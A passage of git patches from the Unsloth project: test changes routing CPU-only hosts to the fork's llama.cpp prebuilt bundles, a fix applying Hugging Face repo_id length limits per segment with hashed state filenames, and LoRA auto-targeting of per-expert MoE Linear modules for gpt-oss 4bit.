-        assert self._resolve_setup_sh_repo("x86_64", False, "gfx1100") == "unslothai/llama.cpp"
-        assert self._resolve_setup_sh_repo("aarch64", False, "gfx1100") == "unslothai/llama.cpp"
-
-    def test_setup_sh_env_forwarded_gfx_resolves_to_fork(self):
-        # No probe fired but UNSLOTH_ROCM_GFX_ARCH is set: adopt the env arch
-        # and route to the fork, same as name-inference.
-        repo = self._resolve_setup_sh_repo("x86_64", False, "", rocm_gfx_arch_env = "gfx1100")
-        assert repo == "unslothai/llama.cpp"
-
-    def test_setup_sh_cpu_host_still_resolves_to_ggml(self):
-        # A real CPU host (no GPU, no inferred gfx, no env override) must keep routing to ggml-org.
-        assert self._resolve_setup_sh_repo("x86_64", False, "") == "ggml-org/llama.cpp"
+    @pytest.mark.parametrize(
+        "machine, nvidia_usable, setup_gfx, env_gfx",
+        [
+            ("x86_64", False, "", ""),  # plain CPU host (used to take ggml-org)
+            ("aarch64", False, "", ""),  # plain CPU arm64 host (used to take ggml-org)
+            ("x86_64", False, "gfx1100", ""),  # name-inferred gfx
+            ("x86_64", False, "", "gfx1100"),  # env-forwarded gfx
+            ("x86_64", True, "", ""),  # usable NVIDIA
+        ],
+    )
+    def test_setup_sh_routing_block_always_resolves_to_fork(
+        self, machine, nvidia_usable, setup_gfx, env_gfx
+    ):
+        assert (
+            self._resolve_setup_sh_repo(
+                machine, nvidia_usable, setup_gfx, rocm_gfx_arch_env = env_gfx
+            )
+            == "unslothai/llama.cpp"
+        )
 
     @staticmethod
-    def _resolve_setup_ps1_repo(has_nvidia, has_rocm, gfx_arch):
-        """Run setup.ps1's $HelperReleaseRepo selection under pwsh and return the resolved repo."""
+    def _resolve_setup_ps1_repo():
+        """Run setup.ps1's $HelperReleaseRepo assignment under pwsh and return the
+        resolved repo. The assignment is unconditional now, so there are no host
+        inputs to vary."""
         import shutil
 
         pwsh = shutil.which("pwsh")
@@ -3243,21 +3256,11 @@ class TestRocmGfxForwarding:
             pytest.skip("pwsh not available")
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
         line = next(
-            (
-                ln
-                for ln in source.splitlines()
-                if ln.strip().startswith("$HelperReleaseRepo = if (")
-            ),
+            (ln for ln in source.splitlines() if ln.strip().startswith("$HelperReleaseRepo =")),
             None,
         )
         assert line is not None, "$HelperReleaseRepo selection not found in setup.ps1"
-        harness = (
-            f"$HasNvidiaSmi = ${'true' if has_nvidia else 'false'}\n"
-            f"$HasROCm = ${'true' if has_rocm else 'false'}\n"
-            f"$script:ROCmGfxArch = '{gfx_arch}'\n"
-            f"{line}\n"
-            "Write-Output $HelperReleaseRepo"
-        )
+        harness = f"{line}\nWrite-Output $HelperReleaseRepo"
         result = subprocess.run(
             [pwsh, "-NoProfile", "-Command", harness],
             capture_output = True,
@@ -3267,13 +3270,10 @@ class TestRocmGfxForwarding:
         assert result.returncode == 0, result.stderr
         return result.stdout.strip()
 
-    def test_setup_ps1_inferred_gfx_resolves_to_fork(self):
-        # Adrenalin-only host: $HasROCm false but gfx inferred -> fork's windows-rocm bundle.
-        assert self._resolve_setup_ps1_repo(False, False, "gfx1100") == "unslothai/llama.cpp"
-
-    def test_setup_ps1_cpu_host_still_resolves_to_ggml(self):
-        # No NVIDIA, no ROCm, no inferred gfx -> CPU host stays on ggml-org.
-        assert self._resolve_setup_ps1_repo(False, False, "") == "ggml-org/llama.cpp"
+    def test_setup_ps1_routing_resolves_to_fork(self):
+        # Windows routing is unconditional now: CPU-only Windows (x64 and arm64)
+        # uses the fork's windows-cpu / windows-arm64 bundles, not ggml-org.
+        assert self._resolve_setup_ps1_repo() == "unslothai/llama.cpp"
 
 
 # TEST: _pick_rocm_gfx_target -- visible-device selection from rocminfo output.
diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.py
index 464aa9a578..92f08c646b 100644
--- a/tests/studio/install/test_selection_logic.py
+++ b/tests/studio/install/test_selection_logic.py
@@ -1720,8 +1720,10 @@ class TestResolveInstallAttempts:
         assert approved.release_tag == "llama-prebuilt-latest"
 
     def test_linux_cpu_fork_without_bundle_raises_no_upstream_fallback(self, monkeypatch):
-        # CPU-only Linux on the fork must not fall back to the ggml-org CPU asset; with
-        # no fork CPU bundle the resolver raises rather than reaching upstream.
+        # A CPU-only Linux host on the fork never falls back to the ggml-org CPU
+        # asset. CPU-only Linux now routes to the fork, but if a release manifest
+        # happens to ship no CPU bundle the resolver raises rather than quietly
+        # reaching for an upstream asset.
         host = make_host(
             has_usable_nvidia = False,
             has_physical_nvidia = False,
@@ -1846,6 +1848,151 @@ class TestResolveInstallAttempts:
         assert attempts[0].name == asset_name
         assert attempts[0].source_label == "published"
 
+    @pytest.mark.parametrize(
+        "system, machine, asset_name, install_kind, bundle_profile",
+        [
+            # CPU-only Linux x64 -> fork linux-cpu (was ggml-org ubuntu-x64).
+            ("Linux", "x86_64", "app-b9625-linux-x64-cpu.tar.gz", "linux-cpu", "linux-cpu-x64"),
+            # CPU-only Linux arm64 -> fork linux-arm64 (was ggml-org ubuntu-arm64).
+            (
+                "Linux",
+                "aarch64",
+                "app-b9625-linux-arm64-cpu.tar.gz",
+                "linux-arm64",
+                "linux-cpu-arm64",
+            ),
+            # CPU-only Windows arm64 -> fork windows-arm64 (was ggml-org win-cpu-arm64).
+            (
+                "Windows",
+                "arm64",
+                "app-b9625-windows-arm64-cpu.zip",
+                "windows-arm64",
+                "windows-cpu-arm64",
+            ),
+        ],
+    )
+    def test_cpu_host_prefers_published_fork_asset(
+        self, monkeypatch, system, machine, asset_name, install_kind, bundle_profile
+    ):
+        # CPU-only hosts now select the fork's CPU bundle from the manifest and
+        # must never query ggml-org upstream assets. Windows x64 CPU is covered
+        # separately by test_windows_cpu_prefers_published_asset.
+        host = make_host(
+            system = system,
+            machine = machine,
+            has_usable_nvidia = False,
+            has_physical_nvidia = False,
+            nvidia_smi = None,
+        )
+        release = make_release(
+            [
+                make_artifact(
+                    asset_name,
+                    install_kind = install_kind,
+                    runtime_line = None,
+                    coverage_class = None,
+                    supported_sms = [],
+                    min_sm = None,
+                    max_sm = None,
+                    bundle_profile = bundle_profile,
+                    rank = 1000,
+                )
+            ],
+            release_tag = "llama-prebuilt-latest",
+            upstream_tag = "b9625",
+            assets = {asset_name: f"https://published.example/{asset_name}"},
+        )
+        checksums = make_checksums_with_source(
+            [asset_name],
+            release_tag = release.release_tag,
+            upstream_tag = "b9625",
+        )
+
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT,
+            "iter_resolved_published_releases",
+            lambda requested_tag, published_repo, published_release_tag = "": iter(
+                [
+                    INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
+                        bundle = release,
+                        checksums = checksums,
+                    )
+                ]
+            ),
+        )
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT,
+            "github_release_assets",
+            lambda repo, tag: (_ for _ in ()).throw(
+                AssertionError("fork CPU host must not query upstream assets")
+            ),
+        )
+
+        _requested_tag, resolved_tag, attempts, _approved = resolve_install_attempts(
+            "latest",
+            host,
+            "unslothai/llama.cpp",
+            "",
+        )
+
+        assert resolved_tag == "b9625"
+        assert attempts[0].name == asset_name
+        assert attempts[0].install_kind == install_kind
+        assert attempts[0].source_label == "published"
+
+    def test_cpu_only_unsupported_arch_source_builds(self, monkeypatch):
+        # A CPU-only Linux host that is neither x86_64 nor arm64 (ppc64le,
+        # riscv64, s390x) has no compatible CPU bundle. It must source-build, not
+        # receive the x86_64 linux-cpu binary (the Linux preflight checks libs,
+        # not ELF arch, so a wrong-arch binary would slip through).
+        host = make_host(
+            machine = "ppc64le",
+            has_usable_nvidia = False,
+            has_physical_nvidia = False,
+            nvidia_smi = None,
+        )
+        assert not host.is_x86_64 and not host.is_arm64
+        x64_asset = "app-b9625-linux-x64-cpu.tar.gz"
+        release = make_release(
+            [
+                make_artifact(
+                    x64_asset,
+                    install_kind = "linux-cpu",
+                    runtime_line = None,
+                    coverage_class = None,
+                    supported_sms = [],
+                    min_sm = None,
+                    max_sm = None,
+                    bundle_profile = "linux-cpu-x64",
+                    rank = 1000,
+                )
+            ],
+            release_tag = "llama-prebuilt-latest",
+            upstream_tag = "b9625",
+            assets = {x64_asset: f"https://published.example/{x64_asset}"},
+        )
+        checksums = make_checksums_with_source(
+            [x64_asset],
+            release_tag = release.release_tag,
+            upstream_tag = "b9625",
+        )
+
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT,
+            "iter_resolved_published_releases",
+            lambda requested_tag, published_repo, published_release_tag = "": iter(
+                [
+                    INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
+                        bundle = release,
+                        checksums = checksums,
+                    )
+                ]
+            ),
+        )
+
+        with pytest.raises(PrebuiltFallback, match = "no compatible Linux prebuilt asset was found"):
+            resolve_install_attempts("latest", host, "unslothai/llama.cpp", "")
+
     def test_macos_prefers_published_asset(self, monkeypatch):
         host = make_host(
             system = "Darwin",
@@ -3447,8 +3594,9 @@ class TestLinuxArm64ForkFallsBackToSource:
         assert plans == ["plan"]
 
     def test_arm64_cpu_on_ggml_org_is_not_blocked(self, monkeypatch):
-        # CPU-only arm64 routes to ggml-org, so the guard must not fire; it reaches the
-        # iterator (empty here -> generic message).
+        # ggml-org is reachable only via an explicit --published-repo override now,
+        # but the guard must still not fire on arm64 there; it reaches the iterator
+        # (empty here -> generic message).
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_release_payloads_by_time",
@@ -3474,7 +3622,7 @@ class TestLinuxArm64ForkFallsBackToSource:
 
 
 class TestCpuFallback:
-    """--cpu-fallback drops GPU attributes so the host's OS/arch CPU prebuilt is selected, letting an arm64 GPU host install ggml-org's arm64 CPU build when its source build produced no binary."""
+    """--cpu-fallback drops GPU attributes so the host's OS/arch CPU prebuilt is selected, letting an arm64 GPU host install the fork's arm64 CPU bundle when its source build produced no binary."""
 
     _SETUP_SH = PACKAGE_ROOT / "studio" / "setup.sh"
 
@@ -3553,10 +3701,15 @@ class TestCpuFallback:
 
     def test_setup_sh_has_arm64_cpu_prebuilt_fallback(self):
         source = self._SETUP_SH.read_text(encoding = "utf-8")
-        assert "--cpu-fallback" in source
-        # Fallback targets ggml-org (only repo with an arm64 Linux build), gated on a
-        # degraded arm64 source build.
-        assert "ggml-org/llama.cpp" in source
+        # The arm64 GPU last-resort CPU fallback now pulls the fork's arm64 CPU
+        # bundle (app-<tag>-linux-arm64-cpu.tar.gz), not ggml-org's, and is gated
+        # on a degraded source build for arm64.
+        start = source.index("_ARM64_CPU_CMD=(")
+        end = source.index(")", start)
+        block = source[start:end]
+        assert "--cpu-fallback" in block
+        assert '--published-repo "unslothai/llama.cpp"' in block
+        assert '--published-repo "ggml-org/llama.cpp"' not in block
         assert "_LLAMA_CPP_DEGRADED" in source
 
 

From d0c8d550a6db537583dbb78dd186e56ff103d2fa Mon Sep 17 00:00:00 2001
From: Tai An <antai12232931@outlook.com>
Date: Wed, 8 Jul 2026 05:38:06 -0700
Subject: [PATCH 263/306] fix(studio/hub): apply repo_id length limit per
 segment, not whole string (#6946) (#6953)

* fix(studio/hub): apply repo_id length limit per segment, not whole string

is_valid_repo_id() applied the 96-char limit to the full "namespace/repo_name"
string, so a repo with a valid (<=96 char) name but a long combined id was
falsely rejected. Match huggingface_hub.validate_repo_id by checking the length
per segment instead. Fixes #6946.

* Fix long repo id state filenames

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../backend/hub/tests/test_model_services.py  | 46 +++++++++++++++++++
 studio/backend/hub/utils/paths.py             |  9 +++-
 studio/backend/hub/utils/state_dir.py         | 33 +++++++++++--
 3 files changed, 82 insertions(+), 6 deletions(-)

diff --git a/studio/backend/hub/tests/test_model_services.py b/studio/backend/hub/tests/test_model_services.py
index f05d8359ec..44701c0b64 100644
--- a/studio/backend/hub/tests/test_model_services.py
+++ b/studio/backend/hub/tests/test_model_services.py
@@ -105,6 +105,10 @@ def test_repo_id_validation_accepts_hf_repo_id_contract(repo_id):
     assert paths.is_valid_repo_id(repo_id)
 
 
+def test_repo_id_validation_accepts_max_length_namespaced_repo():
+    assert paths.is_valid_repo_id(f"{'a' * 96}/{'b' * 96}")
+
+
 @pytest.mark.parametrize(
     "repo_id",
     [
@@ -121,6 +125,48 @@ def test_repo_id_validation_rejects_unsafe_or_invalid_ids(repo_id):
     assert not paths.is_valid_repo_id(repo_id)
 
 
+def test_download_state_preserves_readable_keys_when_safe(monkeypatch, tmp_path):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path)
+
+    path = state_dir.marker_path("model", "Owner/Repo", "Q4_K_M")
+
+    assert path is not None
+    assert path.name == "models--owner--repo--variant--q4_k_m.json"
+
+
+@pytest.mark.parametrize("variant", ["bad variant with spaces", "q" * 64])
+def test_download_state_bounds_long_repo_variant_filenames(monkeypatch, tmp_path, variant):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path)
+    repo_id = f"{'a' * 96}/{'b' * 96}"
+
+    assert paths.is_valid_repo_id(repo_id)
+    assert download_manifest.write_cancel_marker("model", repo_id, variant, "http")
+    assert download_manifest.write_manifest(
+        "model",
+        repo_id,
+        variant,
+        [download_manifest.ExpectedFile(path = "model.gguf", size = 1)],
+        "http",
+    )
+
+    marker_path = state_dir.marker_path("model", repo_id, variant)
+    manifest_path = state_dir.manifest_path("model", repo_id, variant)
+
+    assert marker_path is not None
+    assert manifest_path is not None
+    assert "--sha256-" in marker_path.name
+    assert len(marker_path.name.encode("utf-8")) <= 255
+    assert len(f".{marker_path.name}.tmp-00000000".encode("utf-8")) <= 255
+    assert download_manifest.has_cancel_marker("model", repo_id, variant)
+    assert download_manifest.read_manifest("model", repo_id, variant) is not None
+    assert list(download_manifest.iter_variant_markers("model", repo_id)) == [
+        (variant, marker_path)
+    ]
+    assert list(download_manifest.iter_variant_manifests("model", repo_id)) == [
+        (variant, manifest_path)
+    ]
+
+
 class _RecordingLogger:
     def __init__(self):
         self.warnings = []
diff --git a/studio/backend/hub/utils/paths.py b/studio/backend/hub/utils/paths.py
index afcb0b41dc..5435202565 100644
--- a/studio/backend/hub/utils/paths.py
+++ b/studio/backend/hub/utils/paths.py
@@ -181,15 +181,20 @@ def is_valid_repo_id(repo_id: str) -> bool:
     """Validate Hugging Face ``repo_name`` or ``namespace/repo_name`` IDs."""
     if not repo_id or repo_id != repo_id.strip():
         return False
-    if len(repo_id) > _MAX_REPO_ID_LENGTH or repo_id.endswith(".git"):
+    if repo_id.endswith(".git"):
         return False
     if "--" in repo_id or ".." in repo_id:
         return False
     segments = repo_id.split("/")
     if len(segments) not in (1, 2):
         return False
+    # Match huggingface_hub.validate_repo_id: the 96-char limit applies per
+    # segment (repo name / namespace), not to the whole "namespace/repo_name"
+    # string, so long-but-valid repo names are not falsely rejected.
     return all(
-        segment not in ("", ".", "..") and _VALID_REPO_ID_SEGMENT.fullmatch(segment) is not None
+        segment not in ("", ".", "..")
+        and len(segment) <= _MAX_REPO_ID_LENGTH
+        and _VALID_REPO_ID_SEGMENT.fullmatch(segment) is not None
         for segment in segments
     )
 
diff --git a/studio/backend/hub/utils/state_dir.py b/studio/backend/hub/utils/state_dir.py
index a304477a3d..183e934724 100644
--- a/studio/backend/hub/utils/state_dir.py
+++ b/studio/backend/hub/utils/state_dir.py
@@ -11,8 +11,9 @@ cache lifecycle. Two subdirectories:
         manifests/   <key>.json   per-download expected-files manifest
         cancelled/   <key>.json   per-download cancel marker
 
-The ``<key>`` mirrors HF's cache dir naming so a state file can be
-eyeballed next to the on-disk repo it describes:
+The ``<key>`` mirrors HF's cache dir naming while the resulting manifest,
+cancel-marker, and atomic-write temp filenames fit common filesystem basename
+limits. Very long repo IDs use a stable hash in the state key:
 
     models--<owner>--<name>                       full snapshot
     models--<owner>--<name>--variant--<variant>   GGUF variant
@@ -49,6 +50,11 @@ _MANIFESTS_SUBDIR = "manifests"
 _CANCELLED_SUBDIR = "cancelled"
 _WORKERS_SUBDIR = "workers"
 _SAFE_VARIANT_FRAGMENT = re.compile(r"^[a-z0-9._-]{1,64}$")
+_MAX_STATE_BASENAME_BYTES = 255
+_STATE_EXTENSION = ".json"
+# _atomic_write_json writes ".<target>.tmp-<8hex>" beside the final file.
+_ATOMIC_WRITE_TMP_OVERHEAD = len(".") + len(".tmp-") + 8
+_MAX_VARIANT_FRAGMENT_LENGTH = 64
 
 
 def state_root() -> Optional[Path]:
@@ -84,16 +90,35 @@ def repo_cache_basename(repo_type: RepoType, repo_id: str) -> str:
     return f"{repo_type}s--{repo_id.replace('/', '--')}".lower()
 
 
+def _filename_bytes(name: str) -> int:
+    return len(name.encode("utf-8"))
+
+
+def _state_filename_fits(entry_key: str) -> bool:
+    filename = f"{entry_key}{_STATE_EXTENSION}"
+    return _filename_bytes(filename) + _ATOMIC_WRITE_TMP_OVERHEAD <= _MAX_STATE_BASENAME_BYTES
+
+
+def _state_repo_key(repo_type: RepoType, repo_id: str) -> str:
+    base = repo_cache_basename(repo_type, repo_id)
+    variant_prefix = f"{base}--variant--"
+    longest_variant_key = f"{variant_prefix}{'x' * _MAX_VARIANT_FRAGMENT_LENGTH}"
+    if _state_filename_fits(longest_variant_key):
+        return base
+    digest = hashlib.sha256(base.encode("utf-8")).hexdigest()[:32]
+    return f"{repo_type}s--sha256-{digest}"
+
+
 def variant_filename_prefix(repo_type: RepoType, repo_id: str) -> str:
     """Lowercased prefix every variant-keyed state file for this repo shares.
 
     The single source the download_manifest enumerators match against, so the
     scheme in :func:`_entry_key` cannot drift from them silently."""
-    return f"{repo_cache_basename(repo_type, repo_id)}--variant--"
+    return f"{_state_repo_key(repo_type, repo_id)}--variant--"
 
 
 def _entry_key(repo_type: RepoType, repo_id: str, variant: Optional[str]) -> str:
-    base = repo_cache_basename(repo_type, repo_id)
+    base = _state_repo_key(repo_type, repo_id)
     if not variant:
         return base
     normalized_variant = variant.strip().lower()

From 62a6eb2a3df395e2e0e94218cfc963318f5c7392 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 8 Jul 2026 05:57:44 -0700
Subject: [PATCH 264/306] MoE LoRA: auto-target per-expert Linear experts
 (gpt-oss 4bit) instead of leaving them frozen (#6936)

* models: auto-target per-expert Linear MoE experts for LoRA (gpt-oss 4bit)

MoE checkpoints whose experts are stored as per-expert nn.Linear ModuleLists
could not receive expert LoRA. gpt-oss bnb-4bit is the canonical case: its
experts live at mlp.experts.gate_up_projs.<i> and mlp.experts.down_projs.<i> as
per-expert Linear4bit modules, not a fused nn.Parameter. The target_parameters
path only handles the fused nn.Parameter layout, and the plain
gate_proj/up_proj/down_proj leaf names do not match the per-expert indices, so
get_peft_model attached LoRA to attention only and left every expert frozen
(0 of 1536 on gpt-oss-20b) even though the grouped bnb-4bit training forward
exists.

Add get_moe_target_modules, the module-LoRA counterpart of
get_moe_target_parameters: it detects per-expert Linear ModuleLists under an
experts container and returns their suffix target_modules names
(gate_up_projs.<i> / down_projs.<i>). get_peft_model in both llama.py and
vision.py extends target_modules with these, handling the explicit leaf-list
form and the regex form (auto / all-linear / scoped). It is gated on the same
MLP-in-scope condition as the parameter path, so an attention-only request still
skips the experts.

Also gate get_moe_target_parameters on the fused parameter actually existing, so
a per-expert-Linear layout no longer produces a dead target_parameters path or a
misleading "Enabling LoRA on MoE parameters" line; those experts are handled
through target_modules instead.

Validated on gpt-oss-20b-unsloth-bnb-4bit (transformers 5.5.0): experts attach
(1536 modules, trainable 0.036 percent to 1.65 percent) across the default, None
and all-linear paths; training memorizes and the LoRA adapter reproduces exactly
after a cold reload in a fresh process. No regression: fused-parameter MoEs
(Qwen3-30B-A3B-4bit), non-MoE models, and attention-only requests are unaffected
(get_moe_target_modules returns an empty list).

Merging these per-expert adapters into a merged_16bit checkpoint is handled by a
companion unsloth-zoo change (saving_utils folds each per-expert delta into the
fused gate_up_proj / down_proj tensor). With both, the LoRA adapter and the
merged_16bit checkpoint reload the trained behavior identically.

* models: scope per-expert MoE targets, keep repeat get_peft_model idempotent, warn on old zoo

Address review of the per-expert Linear MoE targeting:

- Scope get_moe_target_modules to the requested projection leaves (gate/up map to
  the gate_up ModuleList, down maps to the down ModuleList), so a narrowed request
  such as target_modules=["down_proj"] no longer also trains gate_up_projs, matching
  get_moe_target_parameters.
- Detect experts through a PEFT-wrapped base_layer as well, and recompute the
  auto-added expert targets in the llama.py existing-adapter check, so a repeat
  get_peft_model call with the same arguments stays idempotent instead of raising on
  the saved expert targets.
- Warn when the installed unsloth_zoo cannot fold these per-expert experts into a
  merged_16bit checkpoint (older releases keep the fused gate_up_proj / down_proj
  tensors and drop the per-expert deltas), so the expert LoRA is not silently lost on
  save_pretrained_merged; the fold lands in unsloth-zoo #885. The LoRA adapter itself
  is unaffected.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 unsloth/models/_utils.py | 119 +++++++++++++++++++++++++++++++++++++--
 unsloth/models/llama.py  |  18 ++++++
 unsloth/models/vision.py |  29 ++++++++++
 3 files changed, 162 insertions(+), 4 deletions(-)

diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 1c75f8ce66..b68cb702b1 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -86,6 +86,8 @@ __all__ = [
     "maybe_prefetch_hf_snapshot",
     "is_moe_model",
     "get_moe_target_parameters",
+    "get_moe_target_modules",
+    "warn_if_zoo_cannot_merge_moe_experts",
     "_select_moe_detection_targets",
     "make_fast_generate_wrapper",
     "_mark_unsloth_disable_data_parallel",
@@ -4060,13 +4062,17 @@ def get_moe_target_parameters(model, target_modules = None) -> Optional[List[str
         alternate_name = "experts.down_proj",
     )
 
-    # gate_up_proj combines both gate_proj and up_proj in MoE
-    # Also match "gate_up_proj" directly since users may specify the fused name
+    # gate_up_proj combines gate_proj and up_proj; also match the fused name directly.
+    # Only target a fused expert Parameter that exists: per-expert Linear layouts
+    # (e.g. gpt-oss bnb-4bit) have no fused Parameter and are handled by
+    # get_moe_target_modules, so skip them rather than pass PEFT a dead path.
     if "gate_proj" in target_set or "up_proj" in target_set or "gate_up_proj" in target_set:
-        moe_params.append(gate_up_name)
+        if _moe_parameter_exists(model, gate_up_name):
+            moe_params.append(gate_up_name)
 
     if "down_proj" in target_set:
-        moe_params.append(down_name)
+        if _moe_parameter_exists(model, down_name):
+            moe_params.append(down_name)
 
     if moe_params:
         print(
@@ -4077,6 +4083,111 @@ def get_moe_target_parameters(model, target_modules = None) -> Optional[List[str
     return None
 
 
+def _moe_parameter_exists(model, name: str) -> bool:
+    """True if ``name`` is an exact suffix of some parameter path on the model."""
+    if not hasattr(model, "named_parameters"):
+        return False
+    try:
+        for parameter_name, _ in model.named_parameters():
+            if parameter_name == name or parameter_name.endswith("." + name):
+                return True
+    except Exception:
+        return False
+    return False
+
+
+def get_moe_target_modules(model, target_modules = None) -> List[str]:
+    """Per-expert ``target_modules`` suffixes for MoE models whose experts are stored
+    as per-expert ``nn.Linear`` ModuleLists rather than fused nn.Parameters.
+
+    gpt-oss bnb-4bit is the canonical case (mlp.experts.gate_up_projs.<i> /
+    down_projs.<i> as Linear4bit): no fused Parameter, and the plain
+    gate/up/down_proj leaves do not match, so LoRA skips them. Returning the
+    per-expert suffixes makes PEFT attach via ordinary suffix matching (the
+    module-LoRA counterpart of get_moe_target_parameters). Returns [] for non-MoE,
+    fused-parameter MoEs, an absent per-expert layout, or a request that omits the
+    MLP experts (so an attention-only run does not train experts).
+    """
+    if not is_moe_model(model):
+        return []
+    if target_modules is None:
+        return []
+    if isinstance(target_modules, str):
+        target_set = _moe_target_set_from_string(target_modules)
+    else:
+        target_set = {
+            target
+            for target in target_modules or ()
+            if (isinstance(target, str) and "." not in target and target in _MOE_BROAD_MLP_TARGETS)
+        }
+    if not (target_set & _MOE_BROAD_MLP_TARGETS):
+        return []
+
+    if not hasattr(model, "named_modules"):
+        return []
+
+    # Scope the returned suffixes to the requested projection leaves, matching
+    # get_moe_target_parameters: gate_proj/up_proj/gate_up_proj map to the fused
+    # gate_up ModuleList (e.g. gate_up_projs); down_proj maps to the down ModuleList
+    # (e.g. down_projs). A down-only (or gate/up-only) request must not pull in the
+    # other projection.
+    want_gate_up = bool(target_set & {"gate_proj", "up_proj", "gate_up_proj"})
+    want_down = "down_proj" in target_set
+
+    targets = set()
+    for name, module in model.named_modules():
+        if not isinstance(module, torch.nn.ModuleList) or len(module) == 0:
+            continue
+        parent, _, leaf = name.rpartition(".")
+        # ModuleList directly under an ``experts`` container, holding only Linear
+        # leaves (bnb Linear4bit / Linear8bitLt subclass nn.Linear). After PEFT has
+        # wrapped the experts the child is a LoRA layer whose ``base_layer`` is the
+        # Linear, so accept that too (keeps this idempotent across a re-wrapped model).
+        if not parent.endswith("experts"):
+            continue
+        if not all(
+            isinstance(child, torch.nn.Linear)
+            or isinstance(getattr(child, "base_layer", None), torch.nn.Linear)
+            for child in module
+        ):
+            continue
+        # Honor the requested subset: classify the ModuleList by projection role.
+        leaf_lower = leaf.lower()
+        is_down = "down" in leaf_lower
+        is_gate_up = (not is_down) and ("gate" in leaf_lower or "up" in leaf_lower)
+        if is_down and not want_down:
+            continue
+        if is_gate_up and not want_gate_up:
+            continue
+        # One entry per expert index; ``leaf.<i>`` matches expert i in every layer.
+        for expert_index in range(len(module)):
+            targets.add(f"{leaf}.{expert_index}")
+
+    return sorted(targets)
+
+
+def warn_if_zoo_cannot_merge_moe_experts():
+    """Warn once when the installed unsloth_zoo cannot fold per-expert Linear MoE LoRA
+    into a merged_16bit checkpoint. Older zoo releases keep the fused gate_up_proj /
+    down_proj tensors and drop the per-expert gate_up_projs.<i> / down_projs.<i> deltas,
+    so save_pretrained_merged("merged_16bit") would silently lose the expert training
+    (the LoRA adapter itself still saves and reloads correctly)."""
+    try:
+        from unsloth_zoo import saving_utils as _saving_utils
+
+        # _fold_perexpert_lora_into_fused is the helper that folds these experts.
+        if hasattr(_saving_utils, "_fold_perexpert_lora_into_fused"):
+            return
+    except Exception:
+        return  # cannot introspect zoo -> stay quiet rather than false-alarm
+    logger.warning_once(
+        "Unsloth: the installed unsloth_zoo will not fold these per-expert experts into "
+        "a merged_16bit checkpoint, so save_pretrained_merged('merged_16bit') would drop "
+        "the expert LoRA. Upgrade unsloth_zoo to merge them; saving the LoRA adapter is "
+        "unaffected."
+    )
+
+
 def _select_moe_detection_targets(
     original_target_modules,
     scoped_target_modules,
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index a1da099758..1f43f61443 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -3105,6 +3105,11 @@ class FastLlamaModel:
             new_target_modules = list(target_modules) + list(
                 modules_to_save if modules_to_save is not None else []
             )
+            # Per-expert Linear MoE experts (e.g. gpt-oss bnb-4bit) were auto-added to the
+            # saved target_modules when the adapter was first created. Recompute them so a
+            # repeat get_peft_model call with the same args stays idempotent instead of
+            # tripping the mismatch below. No-op for non per-expert-Linear models.
+            new_target_modules += get_moe_target_modules(model, target_modules)
 
             # Now check!
             new_target_modules = set(new_target_modules)
@@ -3331,6 +3336,19 @@ class FastLlamaModel:
         if target_parameters is None:
             target_parameters = get_moe_target_parameters(model, target_modules)
 
+        # Per-expert Linear expert layouts (e.g. gpt-oss bnb-4bit) are Linear modules,
+        # not fused Parameters, so target them via target_modules. No-op otherwise.
+        _moe_module_targets = get_moe_target_modules(model, target_modules)
+        if _moe_module_targets:
+            _added = [t for t in _moe_module_targets if t not in final_modules]
+            final_modules.extend(_added)
+            if _added:
+                print(
+                    f"Unsloth: Detected MoE model with per-expert Linear experts. "
+                    f"Enabling LoRA on {len(_added)} expert projection modules."
+                )
+                warn_if_zoo_cannot_merge_moe_experts()
+
         if finetune_last_n_layers is not None and layers_to_transform is None:
             from .vision import _get_total_transformer_layers
             _total_layers = _get_total_transformer_layers(model)
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 0a68a49fee..0235d80e93 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -1807,6 +1807,35 @@ class FastBaseModel:
             )
             target_parameters = get_moe_target_parameters(model, _moe_targets)
 
+        # Per-expert Linear expert layouts (e.g. gpt-oss bnb-4bit) target experts via
+        # target_modules, not fused Parameters. Extend either form PEFT accepts: a leaf
+        # list (explicit) or a regex string (auto / all-linear / scoped). No-op otherwise.
+        _moe_module_detect = _select_moe_detection_targets(
+            _moe_detect_target,
+            target_modules,
+            finetune_mlp_modules = finetune_mlp_modules,
+            finetune_language_layers = finetune_language_layers,
+        )
+        _moe_module_targets = get_moe_target_modules(model, _moe_module_detect)
+        if _moe_module_targets:
+            if isinstance(target_modules, (list, tuple)):
+                target_modules = list(target_modules) + [
+                    target for target in _moe_module_targets if target not in target_modules
+                ]
+            elif isinstance(target_modules, str):
+                _expert_leaves = sorted({t.rsplit(".", 1)[0] for t in _moe_module_targets})
+                _expert_alt = (
+                    r".*\.experts\.(?:"
+                    + "|".join(re.escape(leaf) for leaf in _expert_leaves)
+                    + r")\.\d+"
+                )
+                target_modules = f"(?:{target_modules})|(?:{_expert_alt})"
+            print(
+                f"Unsloth: Detected MoE model with per-expert Linear experts. "
+                f"Enabling LoRA on {len(_moe_module_targets)} expert projection modules."
+            )
+            warn_if_zoo_cannot_merge_moe_experts()
+
         if finetune_last_n_layers is not None and layers_to_transform is None:
